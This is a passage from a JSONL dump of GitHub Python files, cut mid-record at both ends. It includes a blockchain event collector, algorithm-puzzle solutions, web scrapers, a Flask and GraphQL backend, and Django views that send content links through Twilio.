0\r\n for t in block['transactions']:\r\n for op in t['operations']:\r\n if (op[0] == EventsCollector.OP_TYPE_CONTRACT_INVOKE or op[0] == 80 \\\r\n or op[0] == EventsCollector.OP_TYPE_CONTRACT_TRANSFER) \\\r\n and op[1]['contract_id'] == self.contract:\r\n ret = self._get_contract_invoke_object(op, block['transaction_ids'][tx_count], block)\r\n if ret:\r\n return\r\n tx_count += 1\r\n self.session.commit()\r\n self.session.close()\r\n return start_block\r\n \r\n def _get_contract_invoke_object(self, op, txid, block):\r\n invoke_obj = self.walletApi.rpc_request(\"get_contract_invoke_object\", [txid])\r\n if invoke_obj is None:\r\n return False\r\n for obj in invoke_obj:\r\n for event in obj['events']: # Inited, Mint, DestoryAndTrans, ExpandLoan, AddCollateral, WidrawCollateral, PayBack\r\n logging.debug('event: '+event['event_name'])\r\n if event['event_name'] in ('OpenCdc', 'TransferCdc', 'Liquidate', 'CloseCdc', 'AddCollateral', 'ExpandLoan', 'WidrawCollateral', 'PayBack'):\r\n cdcInfo = json.loads(event['event_arg'])\r\n self.session.query(CdcOpHistoryTable).filter_by(tx_id=txid).delete()\r\n self.session.add(CdcOpHistoryTable(\r\n cdc_id=cdcInfo['cdcId'],\r\n tx_id=txid,\r\n op=event['event_name'],\r\n op_content=event['event_arg'],\r\n block_number=block['number']\r\n ))\r\n else:\r\n logging.info(\"Unprocessed event:\"+event['event_name'])\r\n continue\r\n if event['event_name'] == 'OpenCdc':\r\n self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).delete()\r\n self.session.add(CdcTable(\r\n cdc_id=cdcInfo['cdcId'], \r\n owner=cdcInfo['owner'], \r\n collateral_amount=cdcInfo['collateralAmount'], \r\n stable_token_amount=cdcInfo['stableTokenAmount'], \r\n state=1, block_number=block['number']))\r\n elif event['event_name'] == 'AddCollateral':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n cdc.collateral_amount = str(int(cdc.collateral_amount) + int(cdcInfo['addAmount']))\r\n self.session.add(cdc)\r\n elif event['event_name'] == 'WidrawCollateral':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n cdc.collateral_amount = str(int(cdc.collateral_amount) - int(cdcInfo['widrawCollateralAmount']))\r\n self.session.add(cdc)\r\n elif event['event_name'] == 'ExpandLoan':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n cdc.stable_token_amount = str(int(cdc.stable_token_amount) + int(cdcInfo['realGotAmount']))\r\n self.session.add(cdc)\r\n elif event['event_name'] == 'PayBack':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n cdc.stable_token_amount = str(int(cdc.stable_token_amount) - int(cdcInfo['repayPrincipal']))\r\n self.session.add(cdc)\r\n elif event['event_name'] == 'TransferCdc':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n if cdc.owner != cdcInfo['from_address']:\r\n logging.error(\"Not match owner error: %s(%s => %s)\" % (cdcInfo['cdcId'], cdc.owner, cdcInfo['from_address']))\r\n cdc.owner = cdcInfo['to_address']\r\n self.session.add(cdc)\r\n elif event['event_name'] == 'Liquidate':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n cdc.liquidator = cdcInfo['liquidator']\r\n cdc.state = 2\r\n self.session.add(cdc)\r\n elif event['event_name'] == 'CloseCdc':\r\n cdc = self.session.query(CdcTable).filter_by(cdc_id=cdcInfo['cdcId']).first()\r\n if cdc is None:\r\n logging.error(\"Not found cdc error: \"+cdcInfo['cdcId'])\r\n else:\r\n cdc.state = 3\r\n self.session.add(cdc)\r\n return False\r\n\r\n\r\nif __name__ == \"__main__\":\r\n logging.basicConfig(level=logging.ERROR, format='%(asctime)s - %(name)s - %(levelname)s - %(filename)s:%(lineno)d - %(message)s')\r\n from hx_wallet_api import HXWalletApi\r\n api = HXWalletApi(name='events', rpc_url='http://192.168.1.121:30088/')\r\n collector = EventsCollector('da', 'HXCSSGDHqaJDLto13BSZpAbrZoJf4RrGCtks', api)\r\n collector.collect_event(1411286, 100000)","repo_name":"hyperdao/stable_coin_python_sdk","sub_path":"hdao/hdao_events.py","file_name":"hdao_events.py","file_ext":"py","file_size_in_byte":10484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11081521213","text":"import pandas as pd\n\n\ndef read_comoda_kfold_splits(folds=5):\n train_test_sets = []\n for i in range(folds):\n train_set = pd.read_csv(\n 'data/CoMoDa-kfold-split/' + str(i) + '/train.csv',\n sep=';')\n test_set = pd.read_csv(\n 'data/CoMoDa-kfold-split/' + str(i) + '/test.csv',\n sep=';')\n train_test_sets.append((train_set, test_set))\n return train_test_sets\n","repo_name":"thesis20/Graph-Based-Recommender","sub_path":"dataloaders/read_comoda_kfold_splits.py","file_name":"read_comoda_kfold_splits.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1640447042","text":"\"\"\"\n(This problem is an interactive problem.)\n\nA binary matrix means that all elements are 0 or 1. For each individual row of the matrix, this row is sorted in\nnon-decreasing order.\nGiven a row-sorted binary matrix binaryMatrix, return leftmost column index(0-indexed) with at least a 1 in it.\nIf such index doesn't exist, return -1.\nYou can't access the Binary Matrix directly. You may only access the matrix using a BinaryMatrix interface:\n\nBinaryMatrix.get(x, y) returns the element of the matrix at index (x, y) (0-indexed).\nBinaryMatrix.dimensions() returns a list of 2 elements [n, m], which means the matrix is n * m.\n\nSubmissions making more than 1000 calls to BinaryMatrix.get will be judged Wrong Answer.\nAlso, any solutions that attempt to circumvent the judge will result in disqualification.\nFor custom testing purposes you're given the binary matrix mat as input in the following four examples.\nYou will not have access the binary matrix directly.\n\nExample:\nInput:\n mat = [[0,0,0,1],[0,0,1,1],[0,1,1,1]]\nOutput:\n 1\n\"\"\"\n\n\nclass BinaryMatrix:\n \"\"\"\n Helper class implemented fo reference, not given in problem\n \"\"\"\n def __init__(self, grid):\n self.grid = grid\n\n def get(self, x: int, y: int) -> int:\n return self.grid[x][y]\n\n def dimensions(self):\n x = len(self.grid)\n y = len(self.grid[0])\n return x, y\n\n\nclass Solution:\n def leftMostColumnWithOne(self, binaryMatrix: 'BinaryMatrix') -> int:\n rows, cols = binaryMatrix.dimensions()\n\n def binary_search(low, high, rows):\n answer = []\n while low <= high:\n mid = (low + high) // 2\n for row_index in rows:\n if binaryMatrix.get(row_index, mid) == 1:\n answer.append(row_index)\n if (low == high or mid == 0) and answer: # return the lowest column found\n return mid\n if not answer:\n low = mid + 1\n return binary_search(low, high, rows)\n else:\n high = mid\n return binary_search(low, high, answer)\n return -1\n\n return binary_search(0, rows - 1, list(range(rows)))\n\n\nif __name__ == \"__main__\":\n grid = [[0,0,0,1],[0,0,1,1],[0,1,1,1]]\n binary_grid = BinaryMatrix(grid)\n print(Solution().leftMostColumnWithOne(binary_grid))","repo_name":"amogchandrashekar/Leetcode","sub_path":"Medium/Leftmost Column with at Least a One.py","file_name":"Leftmost Column with at Least a One.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"7116006542","text":"# 16953 A → B\n\n# 다른 사람의 심플한 풀이를 보고 나니 내 코드가 참...\n# 아냐 그래도 풀었잖아. 잘했어.\n\n# def 안에서 return (값)을 하는데 왜 자꾸 (값)이 return이 안되고\n# None 값만 return하는 것인지 모르겠다. return 뒤에 값 줬잖아!!\n# 그래서 그냥 def 안에 print() 넣고, 함수 실행만 하고 print(cal())은 안해줬다.\n\n# 부디 다음에 다시 풀 때는 깔끔하게 풀 수 있었으면 좋겠다.\n\ndef cal(a, b, cnt):\n if (a == b):\n print(cnt)\n return\n elif (a > b):\n print(-1)\n return\n\n ones = b % 10\n\n if (ones == 1):\n b = str(b)\n b = int(b[:len(b) - 1])\n cnt += 1\n cal(a, b, cnt)\n elif (ones % 2 == 0):\n b //= 2\n cnt += 1\n cal(a, b, cnt)\n else: # ones가 1이 아닌 홀수\n print(-1)\n\nA, B = map(int, input().split())\n\ncal(A, B, 1)\n\n\n# 누군가의 코드. 참 심플하게도 풀었다...\n##A, B = map(int,input().split())\n##answer = 1\n##while True:\n## if B % 2 == 0:\n## B = B / 2\n## else:\n## B -= 1\n## B /= 10\n## answer += 1\n## if B <= A:\n## break\n##\n##if B < A:\n## print(-1)\n##else:\n## print(answer)\n","repo_name":"soohyeon21/study","sub_path":"BaekJoon/greedy/15_s1_16953.py","file_name":"15_s1_16953.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34910668256","text":"from numpy import complexfloating\nimport requests\nfrom bs4 import BeautifulSoup\nimport re\nimport pickle\nimport pprint\n\n\ndef load_excel_sheet(excel):\n with open(excel, 'rb') as f:\n loaded_dict = pickle.load(f)\n\n return loaded_dict\n\ndef get_urls(excel_dict):\n company_names = [sub['Name'].replace(' ', '-').lower() for sub in excel_dict if sub['Region'] == 'North America']\n # america_list = [for x in loaded_dict if x['Region'] == 'North America']\n # check_2_words = [name if len(name.split(' ')) == 1 else name.split(' '). for name in company_names]\n # pprint.pprint(company_names)\n # print(len(company_names))\n base_url = \"https://siccode.com/business/\"\n urls = []\n\n for company_name in company_names:\n num_word_company_name = company_name.split('-')\n raw_url = f\"{base_url}{company_name.split('-')[0]}\"\n url1 = raw_url\n url2 = raw_url+\"-inc\"\n url3 = raw_url+\"-corp\"\n url4 = raw_url+\"-co\"\n url5 = raw_url+\"-company\"\n urls.extend([url1, url2, url3, url4, url5])\n\n if len(num_word_company_name) == 2:\n raw_url = f\"{base_url}{company_name.split('-')[0] + '-' + company_name.split('-')[1]}\"\n url6 = raw_url\n url7 = raw_url+\"-inc\"\n url8 = raw_url+\"-corp\"\n url9 = raw_url+\"-co\"\n url10 = raw_url+\"-company\"\n urls.extend([url6, url7, url8, url9, url10])\n \n if len(num_word_company_name) > 2:\n raw_url = f\"{base_url}{company_name.split('-')[0] + '-' + company_name.split('-')[1] + '-' + company_name.split('-')[2]}\"\n url11 = raw_url\n url12 = raw_url+\"-inc\"\n url13 = raw_url+\"-corp\"\n url14 = raw_url+\"-co\"\n url15 = raw_url+\"-company\"\n urls.extend([url11, url12, url13, url14, url15])\n return urls\n\ndef read_sic_dict_pickle(file_name):\n with open(f'{file_name}.pkl', 'rb') as f:\n loaded_dict = pickle.load(f)\n return loaded_dict\n\ndef scrap(urls):\n \n for URL in urls:\n page = requests.get(URL)\n soup = BeautifulSoup(page.content, \"html.parser\")\n job_elements = soup.find_all(\"a\", class_=\"sic\")\n\n for job_element in job_elements:\n span = job_element.find_all('span')\n if span != []:\n # print(str(span[0]))\n match = re.search('(?<=CODE )....', str(span[0])) # sic code \n sic_code_first_2 = match.group(0)[:2]\n print(\"Company name: \", URL.split('/')[4], \"SIC code: \", sic_code_first_2)\n\n sic_dict = read_sic_dict_pickle('data/sic_dict')\n \n\ndef main():\n excel_dict = load_excel_sheet('data/excel_data.pkl')\n urls = get_urls(excel_dict)\n print(urls)\n # scrap(urls)\n\nif __name__ == '__main__':\n main()\n","repo_name":"hasandemirkiran/SIC_code_webscraping","sub_path":"Web Scrap/web_scrap.py","file_name":"web_scrap.py","file_ext":"py","file_size_in_byte":2808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27780330993","text":"import numpy\r\nimport torchvision.transforms\r\n\r\nfrom utillity.data_loaders.MNIST_data_loader import *\r\nfrom sklearn.neighbors import NearestNeighbors\r\nfrom utillity.run_model import *\r\nfrom models.CNN import *\r\nfrom models.NN import *\r\n\r\n\r\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # runs on gpu\r\nprint(torch.cuda.is_available())\r\n\r\n# Parameters\r\n'!!!WARNING!!!'\r\n# this method MUST train on the whole dataset at once\r\nbatch_size = 50\r\n'!!!WARNING!!!'\r\ntrain_data = 'MNIST_allTransforms'\r\nclusters = 10\r\n\r\n# CNN settings\r\n# [outputs, kernal_size]\r\nconvolutions = [[10, 5], [25, 3]]\r\n# kernal_size\r\npooling_size = 2\r\n# number of nodes\r\ncnn_layers = [150, 100, 50]\r\nimage_shape = [1, 28]\r\n\r\n# knn\r\nknn = NearestNeighbors()\r\n\r\n# NN\r\n# number of nodes\r\nnn_layers = [150, 100, 50]\r\n\r\n\r\nclass CNN_knn_NN():\r\n def __init__(self, convolutions, pooling_size, layers_cnn, image_shape, knn, layers_nn):\r\n self.cnn = CNN(convolutions, pooling_size, layers_cnn, image_shape).to(device)\r\n self.knn = knn\r\n self.nn = NN(layers_nn, image_shape)\r\n\r\n def fit(self, images):\r\n output = self.cnn(images)\r\n self.knn.fit(output.detach().numpy())\r\n knn = self.knn.kneighbors(output.detach.numpy())\r\n res = self.nn(output)\r\n\r\n\r\n def predict(self, images):\r\n output = self.cnn(images)\r\n return self.nn(output)\r\n\r\n\r\ndef main():\r\n # import data\r\n train_loader, test_loader = MNIST(batch_size)\r\n # train_loader, test_loader = custom_MNIST(batch_size, train_data)\r\n\r\n # initialize model\r\n model = CNN_knn_NN(convolutions, pooling_size, cnn_layers, image_shape, knn, nn_layers)\r\n\r\n # train model\r\n train_model(model, train_loader, device, break_after_2=True)\r\n\r\n # test and evaluate model\r\n evaluate_model(model, test_loader)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"AAU-Dat/P6-unsupervised-image-classification","sub_path":"methods/CNN+k_nn+NN.py","file_name":"CNN+k_nn+NN.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"75153574275","text":"from flask import Blueprint\nfrom controllers.apiController import settings_data, download_report, scan_strat, scan_status, previous_scan_status, analysis_view, analysis_view_record\n\napiRoute = Blueprint('apiRoute', __name__)\n\napiRoute.route('/settings/data', methods=['GET', 'POST'])(settings_data)\napiRoute.route('/download/report', methods=['GET'])(download_report)\napiRoute.route('/scan/start', methods=['GET'])(scan_strat)\napiRoute.route('/scan/status', methods=['GET'])(scan_status)\napiRoute.route('/scan/analysis', methods=['GET'])(analysis_view)\napiRoute.route('/scan/analysis/record', methods=['GET'])(analysis_view_record)\napiRoute.route('/previous/scan/status', methods=['GET'])(previous_scan_status)","repo_name":"govindasamyarun/application-security-suite","sub_path":"as2-app-service/src/routes/apiRoute.py","file_name":"apiRoute.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"32648859836","text":"# The isBadVersion API is already defined for you.\n# def isBadVersion(version: int) -> bool:\n\nclass Solution:\n def firstBadVersion(self, n: int) -> int:\n l = 1\n r = n\n while(l < r):\n m = (l + r) // 2\n ans = isBadVersion(m)\n if not ans:\n l = m + 1\n else:\n r = m\n return r","repo_name":"parasv24/grind","sub_path":"0278-first-bad-version/0278-first-bad-version.py","file_name":"0278-first-bad-version.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29680506644","text":"from typing import Optional\nfrom hotel_business_module.models.sales import Sale\nfrom hotel_business_module.gateways.sales_gateway import SalesGateway\nfrom ..utils import return_validation_error, return_not_found_error, update_fields, token_required, permission_required\nfrom hotel_business_module.session.session import get_session\nfrom starlette.datastructures import UploadFile\n\n\n@token_required\n@permission_required(permissions=['add_sale'])\ndef resolve_create_sale(*_, input: dict, file: UploadFile, current_user):\n with get_session() as db:\n try:\n sale = Sale(**input)\n SalesGateway.save_sale(\n sale=sale,\n db=db,\n file=file.file,\n file_name=file.filename,\n )\n except ValueError as validation_error:\n return return_validation_error(validation_error)\n return {'sale': sale, 'status': {\n 'success': True,\n }}\n\n\n@token_required\n@permission_required(permissions=['edit_sale'])\ndef resolve_update_sale(*_, id: int, input: dict, file: Optional[UploadFile] = None, current_user):\n with get_session() as db:\n sale: Sale = SalesGateway.get_by_id(id, db)\n if sale is None:\n return return_not_found_error(Sale.REPR_MODEL_NAME)\n try:\n update_fields(sale, input)\n SalesGateway.save_sale(\n sale=sale,\n db=db,\n file=file.file,\n file_name=file.filename,\n )\n except ValueError as validation_error:\n return return_validation_error(validation_error)\n return {'sale': sale, 'status': {\n 'success': True,\n }}\n\n\n@token_required\n@permission_required(permissions=['delete_sale'])\ndef resolve_delete_sale(*_, id: int, current_user):\n with get_session() as db:\n sale: Sale = SalesGateway.get_by_id(id, db)\n if sale is None:\n return return_not_found_error(Sale.REPR_MODEL_NAME)\n SalesGateway.delete_sale(sale, db)\n return {'status': {\n 'success': True,\n }}\n\n\ndef resolve_sales(*_, filter: dict):\n with get_session() as db:\n try:\n sales, pages_count = SalesGateway.filter(filter, db)\n except ValueError as filter_error:\n return return_validation_error(filter_error)\n return {'sales': sales, 'pages_count': pages_count, 'status': {\n 'success': True,\n }}\n\n","repo_name":"SergeiGD/graphql-python-ariadne","sub_path":"app/ariadne_graphql/resolvers/sales_resolvers.py","file_name":"sales_resolvers.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69825385155","text":"from selenium import webdriver \nfrom selenium.webdriver.common.keys import Keys \nimport time\n#import crypto\n#import sys\n#sys.modules['Crypto'] = crypto\nfrom firebase import firebase\nfrom selenium.webdriver.chrome.options import Options\nfirebase=firebase.FirebaseApplication(\"###############################################################\",None)\nchrome_options = Options()\nchrome_options.add_argument(\"--headless\")\nfrom webdriver_manager.chrome import ChromeDriverManager\nfrom selenium import webdriver\nchrome_options=chrome_options\nimport requests\nbrowser = webdriver.Chrome(chrome_options=chrome_options,executable_path=ChromeDriverManager().install())\n#webdriver.Chrome(chrome_options=chrome_options,executable_path='chromedriver 3')\n\nif __name__ == '__main__':\n while(True):\n \n \n \n browser.get('https://www.covid19india.org') \n time.sleep(2) \n # browser.find_element_by_xpath('//*[@id=\"chart\"]/g/g/path[70]').click()\n \n \n total_cases=(browser.find_element_by_xpath('/html/body/div/div/div/div[2]/div/div/div[1]/div[2]/div[1]/h1')).text.strip()\n total_deaths=(browser.find_element_by_xpath('/html/body/div/div/div/div[2]/div/div/div[1]/div[2]/div[4]/h1')).text.strip()\n recovered=(browser.find_element_by_xpath('/html/body/div/div/div/div[2]/div/div/div[1]/div[2]/div[3]/h1')).text.strip()\n active_cases=(browser.find_element_by_xpath('/html/body/div/div/div/div[2]/div/div/div[1]/div[2]/div[2]/h1')).text.strip()\n json_data=requests.get('https://api.covid19india.org/state_district_wise.json').json()\n mbd_cases=str(json_data['Uttar Pradesh']['districtData']['Moradabad']['confirmed'])\n \n data={'Total Cases':total_cases,\n 'Active Cases':active_cases,\n 'Moradabad Cases':mbd_cases,\n 'Total Deaths':total_deaths,\n 'Total Recovered':recovered\n }\n \n firebase.patch(\"Data\",data)\n print(\"Data Patched\")\n time.sleep(900)\n #firebase.delete('')\n \n #re-run the code\n \n \n \n #/html/body/div/div/div/div[2]/div/div/div[1]/div[2]/div[2]/h1\n \n \n \n \n","repo_name":"arunavdey7/Covid-Live-Android-App","sub_path":"cvd6.py","file_name":"cvd6.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10639965782","text":"sim_general_config_grid = {\n\n # City and data source parameters\n \"city\": [\"test_city\"],\n \"data_source_id\": [\"custom_trips\"],\n\n # Run parameters\n \"sim_scenario_name\": [\"custom_trips_test\"],\n\n \"save_history\": [True],\n \"history_to_file\": [True],\n \"exclude_sim_output_obj\": [False],\n \"exclude_geo_grid\": [False],\n \"exclude_events_files\": [False],\n \"exclude_resources_files\": [False],\n \"auto_plotting\": [True],\n\n # Time parameters\n \"year\": [2020],\n \"month_start\": [9],\n\n \"max_sim_hours\": [24 * 30]\n\n}\n","repo_name":"SmartData-Polito/odysseus","sub_path":"odysseus/simulator/simulation_configs_py/test/custom_trips_test/sim_general_conf.py","file_name":"sim_general_conf.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"25093588646","text":"import turtle as tur\r\nimport colorsys as cs\r\ntur.setup (800,800)\r\ntur.speed (0)\r\ntur.width(2)\r\ntur.bgcolor('black')\r\ntur.seth(45)\r\nn = 180\r\nfor i in range(n):\r\n \r\n tur.color(cs.hsv_to_rgb( i/6, i/n, 0.8))\r\n tur.fillcolor(cs.hsv_to_rgb( i/6, i/n, 1))\r\n tur.right (90)\r\n tur.circle(i*1.2,90)\r\n\r\n tur.right(59)\r\ntur.hideturtle()\r\ntur.done()","repo_name":"Cyboteric/Python-Turtle-Graphics","sub_path":"yt111.py","file_name":"yt111.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"34648950031","text":"\r\ndef f(x):\r\n return x ** 3 + 4 * x ** 2 - 10\r\n\r\n\r\n\r\ndef bisection_method(a, b, tolerans):\r\n if f(a) * f(b) > 0:\r\n print(\"Bu aralıkta bir kök yok.\")\r\n return None\r\n\r\n iterasyon = 0\r\n\r\n while (b - a) / 2 > tolerans:\r\n c = (a + b) / 2\r\n fc = f(c)\r\n\r\n print(f\"Iterasyon {iterasyon + 1}: a = {a}, b = {b}, c = {c}, f(c) = {fc}\")\r\n\r\n if fc == 0:\r\n return c \r\n elif f(a) * fc < 0:\r\n b = c\r\n else:\r\n a = c\r\n\r\n iterasyon += 1\r\n\r\n return (a + b) / 2 \r\n\r\n\r\n\r\na = 1\r\nb = 2\r\ntolerans = 1e-6\r\n\r\n\r\nroot = bisection_method(a, b, tolerans)\r\n\r\n\r\nif root is not None:\r\n print(f\"Bulunan kök: {root}\")\r\nelse:\r\n print(\"Belirtilen toleransa ulaşılamadı.\")\r\n","repo_name":"HalilibrahimOZK/Say-sal-Analiz-2","sub_path":"SayısalOdev2.py","file_name":"SayısalOdev2.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70408635395","text":"# std\nimport unittest\n\n# internal\nfrom terraform_model.all import *\n\n\nclass TestTfReplace(unittest.TestCase):\n\n def test_tfreplace_type(self):\n x = variable('x', type=TfString)\n result = tfreplace(x, '+', '-')\n self.assertIsInstance(result, TfString)\n\n def test_tfreplace_str(self):\n x = variable('x', type=TfString)\n result = str(tfreplace(x, '+', '-'))\n self.assertEqual(result, 'replace(var.x, \"+\", \"-\")')\n","repo_name":"Mohadi3O/python-terraform-utils","sub_path":"packages/terraform_model/tests/test_functions/test_string/test_tfreplace.py","file_name":"test_tfreplace.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17931565741","text":"from rclpy.node import Node\nfrom rclpy.task import Future\nfrom conditions.private.message_equality_tester import MessageEqualityTester, default_callback, MultiMessageEqualityTester, EqualityType, TopicAndValuesPair\nfrom typing import Dict, Any, List\nimport os\n\nclass MessageEqualityTesterNode(Node):\n \"\"\"\n Constructed with a Future. the future will be set to True or False on receit of the first message,\n depending if the message matches the expected values\n \"\"\"\n \n def __init__(self, topic_name: str, message_type : str,\n expected_values : Dict, future_result : Future):\n \n super().__init__('message_equality_tester' + str(os.getpid()))\n \n self.__tester = MessageEqualityTester(self, topic_name, message_type, expected_values,\n self.__callback)\n\n self.__future_result = future_result\n\n def __callback(self, val : bool, actual_msg : Dict, expected_values : Dict):\n self.get_logger().info(\"Message received and equality tested: {}\".format(str(val)))\n if val is False:\n self.get_logger().info(\"\\tExpected: {}\".format(str(expected_values)))\n self.get_logger().info(\"\\tActual: {}\".format(str(actual_msg)))\n\n self.__future_result.set_result(val)\n\nclass MultiMessageEqualityTesterNode(Node):\n\n def __init__(self, topic_and_expected_values_pairs : List[TopicAndValuesPair],\n eqaulity_type : EqualityType, future_result : Future):\n\n super().__init__('multi_message_equality_tester' + str(os.getpid()))\n\n self.__tester = MultiMessageEqualityTester(self, topic_and_expected_values_pairs,\n eqaulity_type, self.__callback)\n\n self.__future_result = future_result\n \n def __callback(self, val : bool,\n message_checks : Dict[str,bool], comparison : TopicAndValuesPair,\n equality_type : EqualityType):\n\n self.get_logger().info(\"All Messages received and equality tested : {}\".format(str(val)))\n if val is False:\n self.get_logger().info(\"\\tWith:\")\n self.get_logger().info(\"\\t\" + str(equality_type))\n self.get_logger().info(\"\\tThe following messages are equal to their comparison:\")\n self.get_logger().info(\"\\t\" + str(message_checks))\n \n self.__future_result.set_result(val)\n","repo_name":"craigh92/ros2_conditions_ws","sub_path":"src/conditions/conditions/private/message_equality_tester_node.py","file_name":"message_equality_tester_node.py","file_ext":"py","file_size_in_byte":2308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41440928397","text":"def cal_factor(num):\n if num <= 1:\n return 1\n else:\n fact = 1\n i = 1\n while i <= num:\n fact = fact * i\n i += 1\n return fact\n\n\nprint(cal_factor(int(input(\"Introduce un numero\\n\"))))\n","repo_name":"jsamperevazquez/Programacion_IA","sub_path":"python/tarea25.py","file_name":"tarea25.py","file_ext":"py","file_size_in_byte":240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"69951817154","text":"\"\"\"Content views.\"\"\"\n\n# Django\nfrom django.contrib.auth.mixins import LoginRequiredMixin\n\nfrom django.shortcuts import redirect\nfrom django.views.generic import DetailView, TemplateView\nfrom django.urls import reverse_lazy\nfrom django.conf import settings\nfrom django.utils import timezone\nfrom django.contrib.auth import login\nfrom django.shortcuts import render\n# Models\nfrom hacku.contents.models import Content\nfrom hacku.users.models import User\n\n# Utils\nimport jwt\nfrom datetime import timedelta\n\n# Twilio\nfrom twilio.rest import Client\naccount_sid = settings.TWILIO_ACCOUNT_SID\nauth_token = settings.TWILIO_AUTH_TOKEN\n\n\ndef gen_verification_token(user):\n \"\"\"Create JWT token that the user can use to see the content.\"\"\"\n expiration_date = timezone.now() + timedelta(days=3)\n payload = {\n 'user': user.username,\n # UTC format\n 'exp': int(expiration_date.timestamp()),\n 'type': 'content_login'\n }\n token = jwt.encode(payload, settings.SECRET_KEY, algorithm='HS256')\n return token.decode()\n\n\nclass ContentDetailView(LoginRequiredMixin, DetailView):\n \"\"\"Content detail view.\"\"\"\n\n template_name = 'account/content_viewer.html'\n slug_field = 'pk'\n slug_url_kwarg = 'pk'\n queryset = Content.objects.all()\n context_object_name = 'content'\n\n def dispatch(self, request, *args, **kwargs):\n token = self.request.GET.get('token', None)\n # TODO: Handle expire token and bad request\n if token:\n payload = jwt.decode(token, settings.SECRET_KEY, algorithms=['HS256'])\n # Force login\n user = User.objects.get(username=payload.get('user'))\n login(self.request, user)\n return super().dispatch(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n \"\"\"Percentage expertise creation.\"\"\"\n # TODO: kill token vigence or viewed publications by user\n expertise_percentage_selected = int(request.POST.get('expertise_percentage'))\n user = self.request.user\n publication = self.get_object()\n # expertise date\n user_expertise = user.preferencecontentprofile.expertise_percentage\n publication_expertise = publication.expertise_percentage\n\n if expertise_percentage_selected >= 50:\n user_expertise += 0.05*publication_expertise\n elif expertise_percentage_selected in range(5, 50):\n user_expertise += 0.02*publication_expertise\n else:\n user_expertise -= 0.05*publication_expertise\n\n # considerable expert calification\n if user_expertise > 50:\n diff = (publication_expertise - expertise_percentage_selected)\n if diff not in range(-20, 20):\n if diff > 0:\n # add expertise to publication\n publication_expertise += 10\n else:\n # less expertise to publication\n publication_expertise -= 10\n user.preferencecontentprofile.expertise_percentage = user_expertise\n user.preferencecontentprofile.save()\n publication.expertise_percentage = publication_expertise\n publication.save()\n return render(request, 'account/feedback.html')\n\n\nclass SendExampleURL(LoginRequiredMixin, TemplateView):\n \"\"\"Send url content example.\"\"\"\n\n template_name = 'account/sent_test.html'\n\n def get(self, request, *args, **kwargs):\n user = self.request.user\n verification_token = gen_verification_token(user)\n complete_url = '{}/contents/ver/1?token={}'.format(\n settings.URL_HACKU,\n verification_token)\n\n client = Client(account_sid, auth_token)\n message = client.messages.create(\n to='whatsapp:{}'.format(user.phone_number),\n from_='whatsapp:+14155238886',\n body='hi @{} this is your daily capsule {}'.format(\n user.username,\n str(complete_url)\n ))\n return super().get(request, *args, **kwargs)\n\n\n\n","repo_name":"aleducode/hacku_backend","sub_path":"hacku/contents/views/contents.py","file_name":"contents.py","file_ext":"py","file_size_in_byte":4056,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"39775514431","text":"import heapq\nfrom 